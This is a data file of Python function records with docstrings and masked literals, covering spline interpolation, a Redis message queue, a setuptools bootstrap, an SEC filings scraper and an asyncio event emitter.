{"signature": "def __call__(self, x):", "body": "if not self.y_list:<EOL><INDENT>raise (OverflowError, \"<STR_LIT>\")<EOL><DEDENT>ival = spline.get_interval(x, self.intervals)<EOL>i = self.intervals.index(ival)<EOL>t = (x - ival[<NUM_LIT:0>]) / (ival[<NUM_LIT:1>] - ival[<NUM_LIT:0>])<EOL>y = self.y_list<EOL>a = self.interpolation_coefficients[i][<NUM_LIT:0>]<EOL>b = self.interpolation_coefficients[i][<NUM_LIT:1>]<EOL>return (<NUM_LIT:1> - t) * y[i] + t * y[i + <NUM_LIT:1>] + t * (<NUM_LIT:1> - t) * (a * (<NUM_LIT:1> - t) + b * t)<EOL>", "docstring": "returns the interpolated value for the point x.\n:param x:\n:return:", "id": "f11615:c9:m1"}
{"signature": "@staticmethod<EOL><INDENT>def get_interval(x, intervals):<DEDENT>", "body": "n = len(intervals)<EOL>if n < <NUM_LIT:2>:<EOL><INDENT>return intervals[<NUM_LIT:0>]<EOL><DEDENT>n2 = n / <NUM_LIT:2><EOL>if x < intervals[n2][<NUM_LIT:0>]:<EOL><INDENT>return spline.get_interval(x, intervals[:n2])<EOL><DEDENT>else:<EOL><INDENT>return spline.get_interval(x, intervals[n2:])<EOL><DEDENT>", "docstring": "finds interval of the interpolation in which x lies.\n:param x:\n:param intervals: the interpolation intervals\n:return:", "id": "f11615:c9:m2"}
{"signature": "def set_interpolation_coefficients(self):", "body": "left_boundary_slope = <NUM_LIT:0><EOL>right_boundary_slope = <NUM_LIT:0><EOL>if isinstance(self.boundary_condition, tuple):<EOL><INDENT>left_boundary_slope = self.boundary_condition[<NUM_LIT:0>]<EOL>right_boundary_slope = self.boundary_condition[<NUM_LIT:1>]<EOL><DEDENT>elif self.boundary_condition is None:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>msg = '<STR_LIT>''<STR_LIT>'.format(self.boundary_condition, type(self.boundary_condition))<EOL>raise ValueError(msg)<EOL><DEDENT>n = len(self.x_list)<EOL>mat = numpy.zeros((n, n))<EOL>b = numpy.zeros((n, <NUM_LIT:1>))<EOL>x = self.x_list<EOL>y = self.y_list<EOL>if n > <NUM_LIT:2>:<EOL><INDENT>for i in range(<NUM_LIT:1>, n - <NUM_LIT:1>):<EOL><INDENT>mat[i, i - <NUM_LIT:1>] = <NUM_LIT:1.0> / (x[i] - x[i - <NUM_LIT:1>])<EOL>mat[i, i + <NUM_LIT:1>] = <NUM_LIT:1.0> / (x[i + <NUM_LIT:1>] - x[i])<EOL>mat[i, i] = <NUM_LIT:2> * (mat[i, i - <NUM_LIT:1>] + mat[i, i + <NUM_LIT:1>])<EOL>b[i, <NUM_LIT:0>] = <NUM_LIT:3> * ((y[i] - y[i - <NUM_LIT:1>]) / (x[i] - x[i - <NUM_LIT:1>]) ** <NUM_LIT:2><EOL>+ (y[i + <NUM_LIT:1>] - y[i]) / (x[i + <NUM_LIT:1>] - x[i]) ** <NUM_LIT:2>)<EOL><DEDENT><DEDENT>elif n < <NUM_LIT:2>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if self.boundary_condition is None:  <EOL><INDENT>mat[<NUM_LIT:0>, <NUM_LIT:0>] = <NUM_LIT:1.0> / (x[<NUM_LIT:1>] - x[<NUM_LIT:0>]) ** <NUM_LIT:2><EOL>mat[<NUM_LIT:0>, <NUM_LIT:2>] = -<NUM_LIT:1.0> / (x[<NUM_LIT:2>] - x[<NUM_LIT:1>]) ** <NUM_LIT:2><EOL>mat[<NUM_LIT:0>, <NUM_LIT:1>] = mat[<NUM_LIT:0>, <NUM_LIT:0>] + mat[<NUM_LIT:0>, <NUM_LIT:2>]<EOL>b[<NUM_LIT:0>, <NUM_LIT:0>] = <NUM_LIT> * ((y[<NUM_LIT:1>] - y[<NUM_LIT:0>]) / (x[<NUM_LIT:1>] - x[<NUM_LIT:0>]) ** <NUM_LIT:3><EOL>- (y[<NUM_LIT:2>] - y[<NUM_LIT:1>]) / (x[<NUM_LIT:2>] - x[<NUM_LIT:1>]) ** <NUM_LIT:3>)<EOL>mat[n - <NUM_LIT:1>, n - <NUM_LIT:3>] = <NUM_LIT:1.0> / (x[n - <NUM_LIT:2>] - x[n - <NUM_LIT:3>]) ** <NUM_LIT:2><EOL>mat[n - <NUM_LIT:1>, n - <NUM_LIT:1>] = -<NUM_LIT:1.0> / (x[n - <NUM_LIT:1>] - x[n - <NUM_LIT:2>]) ** <NUM_LIT:2><EOL>mat[n - <NUM_LIT:1>, n - <NUM_LIT:2>] = mat[n - <NUM_LIT:1>, n - <NUM_LIT:3>] + mat[n - <NUM_LIT:1>, n - <NUM_LIT:1>]<EOL>b[n - <NUM_LIT:1>, <NUM_LIT:0>] = <NUM_LIT> * ((y[n - <NUM_LIT:2>] - y[n - <NUM_LIT:3>]) / (x[n - <NUM_LIT:2>] - x[n - <NUM_LIT:3>]) ** <NUM_LIT:3><EOL>- (y[n - <NUM_LIT:1>] - y[n - <NUM_LIT:2>]) / (x[n - <NUM_LIT:1>] - x[n - <NUM_LIT:2>]) ** <NUM_LIT:3>)<EOL><DEDENT>else:<EOL><INDENT>mat[<NUM_LIT:0>, <NUM_LIT:0>] = <NUM_LIT> / (x[<NUM_LIT:1>] - x[<NUM_LIT:0>])<EOL>mat[<NUM_LIT:0>, <NUM_LIT:1>] = <NUM_LIT:1.0> / (x[<NUM_LIT:1>] - x[<NUM_LIT:0>])<EOL>b[<NUM_LIT:0>, <NUM_LIT:0>] = <NUM_LIT:3> * (y[<NUM_LIT:1>] - y[<NUM_LIT:0>]) / (x[<NUM_LIT:1>] - x[<NUM_LIT:0>]) ** <NUM_LIT:2> - <NUM_LIT:0.5> * left_boundary_slope<EOL>mat[n - <NUM_LIT:1>, n - <NUM_LIT:2>] = <NUM_LIT:1.0> / (x[n - <NUM_LIT:1>] - x[n - <NUM_LIT:2>])<EOL>mat[n - <NUM_LIT:1>, n - <NUM_LIT:1>] = <NUM_LIT> / (x[n - <NUM_LIT:1>] - x[n - <NUM_LIT:2>])<EOL>b[n - <NUM_LIT:1>, <NUM_LIT:0>] = <NUM_LIT:3> * (y[n - <NUM_LIT:1>] - y[n - <NUM_LIT:2>]) / (x[n - <NUM_LIT:1>] - x[n - <NUM_LIT:2>]) ** <NUM_LIT:2> + <NUM_LIT:0.5> * right_boundary_slope<EOL><DEDENT>k = numpy.linalg.solve(mat, b)<EOL>for i in range(<NUM_LIT:1>, n):<EOL><INDENT>c1 = k[i - <NUM_LIT:1>, <NUM_LIT:0>] * (x[i] - x[i - <NUM_LIT:1>]) - (y[i] - y[i - <NUM_LIT:1>])<EOL>c2 = -k[i, <NUM_LIT:0>] * (x[i] - x[i - <NUM_LIT:1>]) + (y[i] - y[i - <NUM_LIT:1>])<EOL>self.interpolation_coefficients.append([c1, c2])<EOL><DEDENT>", "docstring": "computes the coefficients for the single polynomials of the spline.", "id": "f11615:c9:m3"}
{"signature": "def __init__(self, x_list=None, y_list=None, y_inter=None):", "body": "if not y_inter:<EOL><INDENT>y_inter = interpolation.linear()<EOL><DEDENT>y_left, y_mid, y_right = interpolation.constant(), interpolation.linear(), interpolation.constant()<EOL>if isinstance(y_inter, (tuple, list)):<EOL><INDENT>if len(y_inter) == <NUM_LIT:3>:<EOL><INDENT>y_left, y_mid, y_right = y_inter<EOL><DEDENT>elif len(y_inter) == <NUM_LIT:2>:<EOL><INDENT>y_mid, y_right = y_inter<EOL>y_left = y_right<EOL><DEDENT>elif len(y_inter) == <NUM_LIT:1>:<EOL><INDENT>y_mid = y_inter[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>raise ValueError<EOL><DEDENT><DEDENT>elif isinstance(y_inter, interpolation.base_interpolation):<EOL><INDENT>y_mid = y_inter<EOL><DEDENT>else:<EOL><INDENT>raise AttributeError<EOL><DEDENT>assert len(x_list) == len(y_list)<EOL>assert len(x_list) == len(set(x_list))<EOL>self._y_mid = type(y_mid)(x_list, y_list)<EOL>self._y_right = type(y_right)(x_list, y_list)<EOL>self._y_left = type(y_left)(x_list, y_list)<EOL>", "docstring": "r\"\"\"\n        Curve object to build function\n\n        :param list(float) x_list: source values\n        :param list(float) y_list: target values\n        :param list(interpolation.interpolation) y_inter: interpolation function on x_list (optional)\n            or triple of (left, mid, right) interpolation functions with\n            left for x < x_list[0] (as default triple.right is used)\n            right for x > x_list][-1] (as default interpolation.constant is used)\n            mid else (as default interpolation.linear is used)\n\n        Curve object to build function :math:`f:R \\rightarrow R, x \\mapsto y`\n        from finite point vectors :math:`x` and :math:`y`\n        using piecewise various interpolation functions.", "id": "f11617:c0:m0"}
{"signature": "def _frange(start, stop=None, step=None):", "body": "if stop is None:<EOL><INDENT>stop = start<EOL>start = <NUM_LIT:0.0><EOL><DEDENT>if step is None:<EOL><INDENT>step = <NUM_LIT:1.0><EOL><DEDENT>r = start<EOL>while r < stop:<EOL><INDENT>yield r<EOL>r += step<EOL><DEDENT>", "docstring": "_frange range like function for float inputs\n:param start:\n:type start:\n:param stop:\n:type stop:\n:param step:\n:type step:\n:return:\n:rtype:", "id": "f11618:m0"}
{"signature": "def __getitem__(self, item):", "body": "amount = super(RateCashFlowList, self).__getitem__(item)<EOL>if self.forward_curve is None:<EOL><INDENT>return self.fixed_rate * amount<EOL><DEDENT>else:<EOL><INDENT>return (self.fixed_rate + self.forward_curve(item)) * amount<EOL><DEDENT>", "docstring": "getitem does re-calc float cash flows and does not use store notional values", "id": "f11618:c3:m1"}
{"signature": "def __getitem__(self, item):", "body": "super(MultiCashFlowList, self).__getitem__(item)<EOL>return sum([l[item] for l in self.legs if item in l])<EOL>", "docstring": "getitem does re-calc float cash flows and does not use store notional values", "id": "f11618:c4:m1"}
{"signature": "def interest_accrued(self, valuation_date):", "body": "return sum([l.interest_accrued(valuation_date) for l in self.legs if hasattr(l, '<STR_LIT>')])<EOL>", "docstring": "interest_accrued\n:param valuation_date:\n:type valuation_date:\n:return:\n:rtype:", "id": "f11618:c4:m3"}
{"signature": "def key_for_name(name):", "body": "return '<STR_LIT>' % name<EOL>", "docstring": "Return the key name used to store the given queue name in Redis.", "id": "f11623:m0"}
{"signature": "@property<EOL><INDENT>def key(self):<DEDENT>", "body": "return key_for_name(self.name)<EOL>", "docstring": "Return the key name used to store this queue in Redis.", "id": "f11623:c0:m2"}
{"signature": "def clear(self):", "body": "self.__redis.delete(self.key)<EOL>", "docstring": "Clear the queue of all messages, deleting the Redis key.", "id": "f11623:c0:m3"}
{"signature": "def consume(self, **kwargs):", "body": "kwargs.setdefault('<STR_LIT>', True)<EOL>try:<EOL><INDENT>while True:<EOL><INDENT>msg = self.get(**kwargs)<EOL>if msg is None:<EOL><INDENT>break<EOL><DEDENT>yield msg<EOL><DEDENT><DEDENT>except KeyboardInterrupt:<EOL><INDENT>print; return<EOL><DEDENT>", "docstring": "Return a generator that yields whenever a message is waiting in the\n        queue. Will block otherwise. Example:\n\n        >>> for msg in queue.consume(timeout=1):\n        ...     print msg\n        my message\n        another message\n\n        :param kwargs: any arguments that :meth:`~hotqueue.HotQueue.get` can\n            accept (:attr:`block` will default to ``True`` if not given)", "id": "f11623:c0:m4"}
{"signature": "def get(self, block=False, timeout=None):", "body": "if block:<EOL><INDENT>if timeout is None:<EOL><INDENT>timeout = <NUM_LIT:0><EOL><DEDENT>msg = self.__redis.blpop(self.key, timeout=timeout)<EOL>if msg is not None:<EOL><INDENT>msg = msg[<NUM_LIT:1>]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>msg = self.__redis.lpop(self.key)<EOL><DEDENT>if msg is not None and self.serializer is not None:<EOL><INDENT>msg = self.serializer.loads(msg)<EOL><DEDENT>return msg<EOL>", "docstring": "Return a message from the queue. Example:\n\n        >>> queue.get()\n        'my message'\n        >>> queue.get()\n        'another message'\n\n        :param block: whether or not to wait until a msg is available in\n            the queue before returning; ``False`` by default\n        :param timeout: when using :attr:`block`, if no msg is available\n            for :attr:`timeout` in seconds, give up and return ``None``", "id": "f11623:c0:m5"}
{"signature": "def put(self, *msgs):", "body": "if self.serializer is not None:<EOL><INDENT>msgs = map(self.serializer.dumps, msgs)<EOL><DEDENT>self.__redis.rpush(self.key, *msgs)<EOL>", "docstring": "Put one or more messages onto the queue. Example:\n\n        >>> queue.put(\"my message\")\n        >>> queue.put(\"another message\")\n\n        To put messages onto the queue in bulk, which can be significantly\n        faster if you have a large number of messages:\n\n        >>> queue.put(\"my message\", \"another message\", \"third message\")", "id": "f11623:c0:m6"}
{"signature": "def worker(self, *args, **kwargs):", "body": "def decorator(worker):<EOL><INDENT>@wraps(worker)<EOL>def wrapper(*args):<EOL><INDENT>for msg in self.consume(**kwargs):<EOL><INDENT>worker(*args + (msg,))<EOL><DEDENT><DEDENT>return wrapper<EOL><DEDENT>if args:<EOL><INDENT>return decorator(*args)<EOL><DEDENT>return decorator<EOL>", "docstring": "Decorator for using a function as a queue worker. Example:\n\n        >>> @queue.worker(timeout=1)\n        ... def printer(msg):\n        ...     print msg\n        >>> printer()\n        my message\n        another message\n\n        You can also use it without passing any keyword arguments:\n\n        >>> @queue.worker\n        ... def printer(msg):\n        ...     print msg\n        >>> printer()\n        my message\n        another message\n\n        :param kwargs: any arguments that :meth:`~hotqueue.HotQueue.get` can\n            accept (:attr:`block` will default to ``True`` if not given)", "id": "f11623:c0:m7"}
{"signature": "def setUp(self):", "body": "self.queue = HotQueue('<STR_LIT>')<EOL>", "docstring": "Create the queue instance before the test.", "id": "f11625:c1:m0"}
{"signature": "def tearDown(self):", "body": "self.queue.clear()<EOL>", "docstring": "Clear the queue after the test.", "id": "f11625:c1:m1"}
{"signature": "def download_setuptools(version=DEFAULT_VERSION, download_base=DEFAULT_URL,<EOL>to_dir=os.curdir, delay=<NUM_LIT:15>):", "body": "<EOL>to_dir = os.path.abspath(to_dir)<EOL>try:<EOL><INDENT>from urllib.request import urlopen<EOL><DEDENT>except ImportError:<EOL><INDENT>from urllib2 import urlopen<EOL><DEDENT>tgz_name = \"<STR_LIT>\" % version<EOL>url = download_base + tgz_name<EOL>saveto = os.path.join(to_dir, tgz_name)<EOL>src = dst = None<EOL>if not os.path.exists(saveto):  <EOL><INDENT>try:<EOL><INDENT>log.warn(\"<STR_LIT>\", url)<EOL>src = urlopen(url)<EOL>data = src.read()<EOL>dst = open(saveto, \"<STR_LIT:wb>\")<EOL>dst.write(data)<EOL><DEDENT>finally:<EOL><INDENT>if src:<EOL><INDENT>src.close()<EOL><DEDENT>if dst:<EOL><INDENT>dst.close()<EOL><DEDENT><DEDENT><DEDENT>return os.path.realpath(saveto)<EOL>", "docstring": "Download distribute from a specified location and return its filename\n\n    `version` should be a valid distribute version number that is available\n    as an egg for download under the `download_base` URL (which should end\n    with a '/'). `to_dir` is the directory where the egg will be downloaded.\n    `delay` is the number of seconds to pause before an actual download\n    attempt.", "id": "f11626:m4"}
{"signature": "def _patch_file(path, content):", "body": "existing_content = open(path).read()<EOL>if existing_content == content:<EOL><INDENT>log.warn('<STR_LIT>')<EOL>return False<EOL><DEDENT>log.warn('<STR_LIT>')<EOL>_rename_path(path)<EOL>f = open(path, '<STR_LIT:w>')<EOL>try:<EOL><INDENT>f.write(content)<EOL><DEDENT>finally:<EOL><INDENT>f.close()<EOL><DEDENT>return True<EOL>", "docstring": "Will backup the file then patch it", "id": "f11626:m6"}
{"signature": "def _extractall(self, path=\"<STR_LIT:.>\", members=None):", "body": "import copy<EOL>import operator<EOL>from tarfile import ExtractError<EOL>directories = []<EOL>if members is None:<EOL><INDENT>members = self<EOL><DEDENT>for tarinfo in members:<EOL><INDENT>if tarinfo.isdir():<EOL><INDENT>directories.append(tarinfo)<EOL>tarinfo = copy.copy(tarinfo)<EOL>tarinfo.mode = <NUM_LIT> <EOL><DEDENT>self.extract(tarinfo, path)<EOL><DEDENT>if sys.version_info < (<NUM_LIT:2>, <NUM_LIT:4>):<EOL><INDENT>def sorter(dir1, dir2):<EOL><INDENT>return cmp(dir1.name, dir2.name)<EOL><DEDENT>directories.sort(sorter)<EOL>directories.reverse()<EOL><DEDENT>else:<EOL><INDENT>directories.sort(key=operator.attrgetter('<STR_LIT:name>'), reverse=True)<EOL><DEDENT>for tarinfo in directories:<EOL><INDENT>dirpath = os.path.join(path, tarinfo.name)<EOL>try:<EOL><INDENT>self.chown(tarinfo, dirpath)<EOL>self.utime(tarinfo, dirpath)<EOL>self.chmod(tarinfo, dirpath)<EOL><DEDENT>except ExtractError:<EOL><INDENT>e = sys.exc_info()[<NUM_LIT:1>]<EOL>if self.errorlevel > <NUM_LIT:1>:<EOL><INDENT>raise<EOL><DEDENT>else:<EOL><INDENT>self._dbg(<NUM_LIT:1>, \"<STR_LIT>\" % e)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Extract all members from the archive to the current working\n       directory and set owner, modification time and permissions on\n       directories afterwards. `path' specifies a different directory\n       to extract to. `members' is optional and must be a subset of the\n       list returned by getmembers().", "id": "f11626:m17"}
{"signature": "def main(argv, version=DEFAULT_VERSION):", "body": "tarball = download_setuptools()<EOL>_install(tarball)<EOL>", "docstring": "Install or upgrade setuptools and EasyInstall", "id": "f11626:m18"}
{"signature": "def memberness(context):", "body": "if context:<EOL><INDENT>texts = context.xpath('<STR_LIT>').extract()<EOL>text = str(texts).lower()<EOL>if len(texts) > <NUM_LIT:1>:<EOL><INDENT>return <NUM_LIT:2><EOL><DEDENT>elif '<STR_LIT>' in text:<EOL><INDENT>return <NUM_LIT:2><EOL><DEDENT>elif '<STR_LIT>' not in text:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>elif '<STR_LIT>' in text:<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT>elif '<STR_LIT>' in text:<EOL><INDENT>return <NUM_LIT:2><EOL><DEDENT><DEDENT>return <NUM_LIT:3><EOL>", "docstring": "The likelihood that the context is a \"member\".", "id": "f11628:m14"}
{"signature": "def make_url(symbol, start_date='<STR_LIT>', end_date='<STR_LIT>'):", "body": "return '<STR_LIT>'% (symbol, end_date, start_date)<EOL>", "docstring": "A URL that lists all 10-Q and 10-K filings of a company.", "id": "f11630:m0"}
{"signature": "def _adjust_delay(self, slot, response):", "body": "if response.status in self.retry_http_codes:<EOL><INDENT>new_delay = max(slot.delay, <NUM_LIT:1>) * <NUM_LIT:4><EOL>new_delay = max(new_delay, self.mindelay)<EOL>new_delay = min(new_delay, self.maxdelay)<EOL>slot.delay = new_delay<EOL>self.stats.inc_value('<STR_LIT>')<EOL><DEDENT>elif response.status == <NUM_LIT:200>:<EOL><INDENT>new_delay = max(slot.delay / <NUM_LIT:2>, self.mindelay)<EOL>if new_delay < <NUM_LIT>:<EOL><INDENT>new_delay = <NUM_LIT:0><EOL><DEDENT>slot.delay = new_delay<EOL><DEDENT>", "docstring": "Define delay adjustment policy", "id": "f11636:c0:m8"}
{"signature": "def parse_10qk(self, response):", "body": "loader = ReportItemLoader(response=response)<EOL>item = loader.load_item()<EOL>if '<STR_LIT>' in item:<EOL><INDENT>doc_type = item['<STR_LIT>']<EOL>if doc_type in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>return item<EOL><DEDENT><DEDENT>return None<EOL>", "docstring": "Parse 10-Q or 10-K XML report.", "id": "f11640:c1:m1"}
{"signature": "async def _try_catch_coro(emitter, event, listener, coro):", "body": "try:<EOL><INDENT>await coro<EOL><DEDENT>except Exception as exc:<EOL><INDENT>if event == emitter.LISTENER_ERROR_EVENT:<EOL><INDENT>raise<EOL><DEDENT>emitter.emit(emitter.LISTENER_ERROR_EVENT, event, listener, exc)<EOL><DEDENT>", "docstring": "Coroutine wrapper to catch errors after async scheduling.\n\n    Args:\n        emitter (EventEmitter): The event emitter that is attempting to\n            call a listener.\n        event (str): The event that triggered the emitter.\n        listener (async def): The async def that was used to generate the coro.\n        coro (coroutine): The coroutine that should be tried.\n\n    If an exception is caught the function will use the emitter to emit the\n    failure event. If, however, the current event _is_ the failure event then\n    the method reraises. The reraised exception may show in debug mode for the\n    event loop but is otherwise silently dropped.", "id": "f11647:m0"}
{"signature": "def __init__(self, loop=None):", "body": "self._loop = loop or asyncio.get_event_loop()<EOL>self._listeners = collections.defaultdict(list)<EOL>self._once = collections.defaultdict(list)<EOL>self._max_listeners = self.DEFAULT_MAX_LISTENERS<EOL>", "docstring": "Initialize the emitter with an event loop.", "id": "f11647:c0:m0"}
{"signature": "def _check_limit(self, event):", "body": "if self.count(event) > self.max_listeners:<EOL><INDENT>warnings.warn(<EOL>'<STR_LIT>'.format(event),<EOL>ResourceWarning,<EOL>)<EOL><DEDENT>", "docstring": "Check if the listener limit is hit and warn if needed.", "id": "f11647:c0:m1"}
{"signature": "def add_listener(self, event, listener):", "body": "self.emit('<STR_LIT>', event, listener)<EOL>self._listeners[event].append(listener)<EOL>self._check_limit(event)<EOL>return self<EOL>", "docstring": "Bind a listener to a particular event.\n\n        Args:\n            event (str): The name of the event to listen for. This may be any\n                string value.\n            listener (def or async def): The callback to execute when the event\n                fires. This may be a sync or async function.", "id": "f11647:c0:m2"}
{"signature": "def once(self, event, listener):", "body": "self.emit('<STR_LIT>', event, listener)<EOL>self._once[event].append(listener)<EOL>self._check_limit(event)<EOL>return self<EOL>", "docstring": "Add a listener that is only called once.", "id": "f11647:c0:m3"}
{"signature": "def remove_listener(self, event, listener):", "body": "with contextlib.suppress(ValueError):<EOL><INDENT>self._listeners[event].remove(listener)<EOL>return True<EOL><DEDENT>with contextlib.suppress(ValueError):<EOL><INDENT>self._once[event].remove(listener)<EOL>return True<EOL><DEDENT>return False<EOL>", "docstring": "Remove a listener from the emitter.\n\n        Args:\n            event (str): The event name on which the listener is bound.\n            listener: A reference to the same object given to add_listener.\n\n        Returns:\n            bool: True if a listener was removed else False.\n\n        This method only removes one listener at a time. If a listener is\n        attached multiple times then this method must be called repeatedly.\n        Additionally, this method removes listeners first from the those\n        registered with 'on' or 'add_listener'. If none are found it continue\n        to remove afterwards from those added with 'once'.", "id": "f11647:c0:m4"}
{"signature": "def remove_all_listeners(self, event=None):", "body": "if event is None:<EOL><INDENT>self._listeners = collections.defaultdict(list)<EOL>self._once = collections.defaultdict(list)<EOL><DEDENT>else:<EOL><INDENT>del self._listeners[event]<EOL>del self._once[event]<EOL><DEDENT>", "docstring": "Remove all listeners, or those of the specified *event*.\n\n        It's not a good idea to remove listeners that were added elsewhere in\n        the code, especially when it's on an emitter that you didn't create\n        (e.g. sockets or file streams).", "id": "f11647:c0:m5"}
{"signature": "@property<EOL><INDENT>def max_listeners(self):<DEDENT>", "body": "return self._max_listeners<EOL>", "docstring": "Get the max number of listeners before warning.", "id": "f11647:c0:m6"}
{"signature": "@max_listeners.setter<EOL><INDENT>def max_listeners(self, value):<DEDENT>", "body": "self._max_listeners = value<EOL>", "docstring": "Set the max number of listeners before warning.", "id": "f11647:c0:m7"}
{"signature": "def listeners(self, event):", "body": "return self._listeners[event][:] + self._once[event][:]<EOL>", "docstring": "Get an iterable of all listeners for the given event.\n\n        Args:\n            event (str): The name of the event for which to generate an\n                iterable of listeners.\n\n        The resulting iterable contains all listeners regardless of whether\n        they were registered with 'on'/'add_listener' or 'once'.", "id": "f11647:c0:m8"}
{"signature": "def _dispatch_coroutine(self, event, listener, *args, **kwargs):", "body": "try:<EOL><INDENT>coro = listener(*args, **kwargs)<EOL><DEDENT>except Exception as exc:<EOL><INDENT>if event == self.LISTENER_ERROR_EVENT:<EOL><INDENT>raise<EOL><DEDENT>return self.emit(self.LISTENER_ERROR_EVENT, event, listener, exc)<EOL><DEDENT>asyncio.ensure_future(<EOL>_try_catch_coro(self, event, listener, coro),<EOL>loop=self._loop,<EOL>)<EOL>", "docstring": "Schedule a coroutine for execution.\n\n        Args:\n            event (str): The name of the event that triggered this call.\n            listener (async def): The async def that needs to be executed.\n            *args: Any number of positional arguments.\n            **kwargs: Any number of keyword arguments.\n\n        The values of *args and **kwargs are passed, unaltered, to the async\n        def when generating the coro. If there is an exception generating the\n        coro, such as the wrong number of arguments, the emitter's error event\n        is triggered. If the triggering event _is_ the emitter's error event\n        then the exception is reraised. The reraised exception may show in\n        debug mode for the event loop but is otherwise silently dropped.", "id": "f11647:c0:m9"}
{"signature": "def _dispatch_function(self, event, listener, *args, **kwargs):", "body": "try:<EOL><INDENT>return listener(*args, **kwargs)<EOL><DEDENT>except Exception as exc:<EOL><INDENT>if event == self.LISTENER_ERROR_EVENT:<EOL><INDENT>raise<EOL><DEDENT>return self.emit(self.LISTENER_ERROR_EVENT, event, listener, exc)<EOL><DEDENT>", "docstring": "Execute a sync function.\n\n        Args:\n            event (str): The name of the event that triggered this call.\n            listener (def): The def that needs to be executed.\n            *args: Any number of positional arguments.\n            **kwargs: Any number of keyword arguments.\n\n        The values of *args and **kwargs are passed, unaltered, to the def\n        when exceuting. If there is an exception executing the def, such as the\n        wrong number of arguments, the emitter's error event is triggered. If\n        the triggering event _is_ the emitter's error event then the exception\n        is reraised. The reraised exception may show in debug mode for the\n        event loop but is otherwise silently dropped.", "id": "f11647:c0:m10"}
{"signature": "def _dispatch(self, event, listener, *args, **kwargs):", "body": "if (<EOL>asyncio.iscoroutinefunction(listener) or<EOL>isinstance(listener, functools.partial) and<EOL>asyncio.iscoroutinefunction(listener.func)<EOL>):<EOL><INDENT>return self._dispatch_coroutine(event, listener, *args, **kwargs)<EOL><DEDENT>return self._dispatch_function(event, listener, *args, **kwargs)<EOL>", "docstring": "Dispatch an event to a listener.\n\n        Args:\n            event (str): The name of the event that triggered this call.\n            listener (def or async def): The listener to trigger.\n            *args: Any number of positional arguments.\n            **kwargs: Any number of keyword arguments.\n\n        This method inspects the listener. If it is a def it dispatches the\n        listener to a method that will execute that def. If it is an async def\n        it dispatches it to a method that will schedule the resulting coro with\n        the event loop.", "id": "f11647:c0:m11"}
{"signature": "def emit(self, event, *args, **kwargs):", "body": "listeners = self._listeners[event]<EOL>listeners = itertools.chain(listeners, self._once[event])<EOL>self._once[event] = []<EOL>for listener in listeners:<EOL><INDENT>self._loop.call_soon(<EOL>functools.partial(<EOL>self._dispatch,<EOL>event,<EOL>listener,<EOL>*args,<EOL>**kwargs,<EOL>)<EOL>)<EOL><DEDENT>return self<EOL>", "docstring": "Call each listener for the event with the given arguments.\n\n        Args:\n            event (str): The event to trigger listeners on.\n            *args: Any number of positional arguments.\n            **kwargs: Any number of keyword arguments.\n\n        This method passes all arguments other than the event name directly\n        to the listeners. If a listener raises an exception for any reason the\n        'listener-error', or current value of LISTENER_ERROR_EVENT, is emitted.\n        Listeners to this event are given the event name, listener object, and\n        the exception raised. If an error listener fails it does so silently.\n\n        All event listeners are fired in a deferred way so this method returns\n        immediately. The calling coro must yield at some point for the event\n        to propagate to the listeners.", "id": "f11647:c0:m12"}
{"signature": "def count(self, event):", "body": "return len(self._listeners[event]) + len(self._once[event])<EOL>", "docstring": "Get the number of listeners for the event.\n\n        Args:\n            event (str): The event for which to count all listeners.\n\n        The resulting count is a combination of listeners added using\n        'on'/'add_listener' and 'once'.", "id": "f11647:c0:m13"}
{"signature": "def __init__(self, emitter, event):", "body": "self._emitter = emitter<EOL>self._event = event<EOL>self._emitter.on(event, self._push)<EOL>self._data = collections.deque()<EOL>self._future = None<EOL>", "docstring": "Initialize the iterator with an emitter and event to fire on.", "id": "f11648:c0:m0"}
{"signature": "async def _push(self, *args, **kwargs):", "body": "self._data.append((args, kwargs))<EOL>if self._future is not None:<EOL><INDENT>future, self._future = self._future, None<EOL>future.set_result(True)<EOL><DEDENT>", "docstring": "Push new data into the buffer. Resume looping if paused.", "id": "f11648:c0:m1"}
{"signature": "async def __anext__(self):", "body": "if self._data:<EOL><INDENT>return self._data.popleft()<EOL><DEDENT>self._future = asyncio.Future()<EOL>await self._future<EOL>return self._data.popleft()<EOL>", "docstring": "Fetch the next set of values. Wait for new values if empty.", "id": "f11648:c0:m2"}
{"signature": "def __init__(self, emitter, event):", "body": "self._emitter = emitter<EOL>self._event = event<EOL>", "docstring": "Initialize the iterable with an emitter and target event.", "id": "f11648:c1:m0"}
{"signature": "async def __aiter__(self):", "body": "return EventIterator(self._emitter, self._event)<EOL>", "docstring": "Get a new EventIterator object.", "id": "f11648:c1:m1"}
{"signature": "def terminate_thread(thread):", "body": "if not thread.isAlive():<EOL><INDENT>return<EOL><DEDENT>exc = ctypes.py_object(SystemExit)<EOL>res = ctypes.pythonapi.PyThreadState_SetAsyncExc(<EOL>ctypes.c_long(thread.ident), exc)<EOL>if res == <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>elif res > <NUM_LIT:1>:<EOL><INDENT>ctypes.pythonapi.PyThreadState_SetAsyncExc(thread.ident, None)<EOL>raise SystemError(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Terminates a python thread from another thread.\n\n    :param thread: a threading.Thread instance", "id": "f11654:m1"}
